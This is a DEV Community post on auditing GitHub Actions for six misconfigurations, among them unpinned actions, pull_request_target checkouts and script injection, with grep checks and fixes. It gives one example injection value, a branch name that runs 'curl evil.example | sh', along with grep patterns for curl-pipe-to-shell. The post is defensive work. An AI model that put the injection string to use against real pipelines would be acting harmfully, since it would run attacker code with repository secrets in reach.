DEV Community

Six GitHub Actions Misconfigurations That Actually Get Exploited (and the 30-Minute Audit That Finds Them)

Most GitHub Actions compromises do not start with a zero-day. They start with configuration: a tag that can be re-pointed, a token with more power than the job needs, a helpful workflow that checks out a fork's code "just to run the tests."

The patterns are well understood, and every one of them is greppable. Below are the six risk classes that matter most, how to find each in your own repo, and the fix pattern for each.

Run the commands in order - credential-holding release and deploy workflows first, because that is the order an attacker would walk.

1. Actions pinned to movable tags instead of full-length SHAs

A reference like actions/checkout@v4 points at a tag, and tags can be moved. If the account or repo behind a widely used action is compromised, the attacker re-points the tag and your next run executes their code - with your workflow's token and secrets in scope. This is not hypothetical as a mechanism; it is simply how mutable refs work.

Find it:

grep -rhoE 'uses: [^ ]+' .github/workflows/ | sort -u

Any ref that is not a full 40-character commit SHA is a movable target.

Fix: Pin every action to its full-length commit SHA, with the version in a comment so humans can still read it:

- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

Then let Dependabot propose SHA updates as reviewable PRs, so pinning does not mean freezing.

2. Missing or over-broad token permissions

When a workflow has no permissions: block, the GITHUB_TOKEN gets the repository's default permissions - which in many repos still means broad read/write. A compromised step or action in that job inherits all of it: it can push code, edit releases, or merge pull requests the job never needed to touch.

Find it:

grep -rL 'permissions:' .github/workflows/

Every file listed has no explicit permissions block. Then check for the opposite problem - blocks that grant write on everything.

Fix: Set a restrictive default at the top of the workflow and elevate only the job that needs more:

permissions:
  contents: read
jobs:
  release:
    permissions:
      contents: write # only this job can write

3. pull_request_target checking out untrusted PR code

pull_request_target runs in the context of the base repository - with its secrets and a write-capable token. That is safe only while the workflow never executes code from the pull request. The moment it checks out the PR head and runs a build, test, or install script, anyone who can open a PR from a fork can run arbitrary code with your secrets available.

Find it:

grep -rn 'pull_request_target' .github/workflows/
grep -rn 'pull_request.head' .github/workflows/

A file appearing in both lists - trigger on pull_request_target, checkout of the head SHA or ref - is the dangerous combination.

Fix: Split the workflow in two. An untrusted workflow triggered by pull_request does the work that touches PR code and uploads results as artifacts. A separate trusted workflow, triggered by workflow_run, downloads the artifacts and does the labelling, commenting, or publishing. Trusted credentials never share a job with untrusted code.

4. Script injection via ${{ }} interpolation in run: steps

GitHub substitutes ${{ }} expressions into the workflow file before the shell sees it. If attacker-controlled text - a PR title, a branch name, an issue body, a commit message - is interpolated directly into a run: step, the attacker controls part of your shell script. A branch named x"; curl evil.example | sh; echo " is not exotic; it is just a string.

Find it:

grep -rn 'run:.*\${{' .github/workflows/
grep -rn 'github.event' .github/workflows/ | grep 'run'

Look for event fields like github.event.pull_request.title, github.head_ref, or github.event.issue.body inside run: blocks.

Fix: Pass event data through an environment variable and reference the variable, quoted, in the script. The shell then treats it as inert data, not code:

- name: Show PR title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "$PR_TITLE"

5. Long-lived PATs doing the built-in token's job

A personal access token stored as a secret often outlives the task it was created for, carries the owner's full account permissions, and never expires on any schedule anyone remembers. If it leaks, it works from anywhere - unlike the built-in GITHUB_TOKEN, which is scoped to one repo and dies with the job.

Find it:

grep -rhn 'secrets\.' .github/workflows/ | grep -v 'secrets.GITHUB_TOKEN'

Each remaining secret deserves one question: why can't the built-in token, a fine-grained PAT scoped to one repo, or a GitHub App token do this job?

Fix: Work down a decision order - built-in token first, then a fine-grained PAT with one repo and one permission, then a short-lived GitHub App token. And where checkout persists credentials the job does not use, turn that off:

- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
  with:
    persist-credentials: false

6. curl | bash installers fetched fresh on every run

Piping a remote script straight into a shell means every run executes whatever that URL serves today, over a connection you do not pin, with no record of what ran. A compromised mirror or hijacked domain turns your CI into the distribution channel.

Find it:

grep -rnE 'curl[^|]*\|\s*(sudo\s+)?(bash|sh)' .github/workflows/
grep -rn 'wget' .github/workflows/

Fix: Pin the tool version and verify a checksum before executing anything:

curl -fsSLO https://example.com/tool/v1.2.3/tool-linux-amd64
echo "<expected-sha256> tool-linux-amd64" | sha256sum -c -

Or skip the installer entirely and use the tool's official setup action - pinned to a full-length SHA, per class 1.

The afternoon audit

None of this needs a scanner subscription or a security team. The six greps above take about 30 minutes against a typical repo, and the output is a short findings list: file, line, class, fix.

Work it in severity order - workflows holding production credentials and release paths first - and the fixes are small, reviewable diffs, one class at a time.

The last step is making it stick: a CI gate that fails any PR reintroducing an unpinned action, a missing permissions block, a pull_request_target head checkout, or direct event interpolation, so the audit does not have to be re-run from memory every quarter.

If you want the whole pass packaged - the one-page audit checklist, before/after YAML for all six classes, a hardened starter workflow, the enforcement gate template, and a findings-report template - that is the GitHub Actions Security Hardening Kit (USD 59).

If you would rather hand it over, CodeOps runs the same audit and hardening as a fixed-price sprint (USD 800, findings report plus the hardening PRs): cod************@gmail.com.

Read on DEV Community ↗ ← Back to News

Comments

No comments yet. Start the discussion.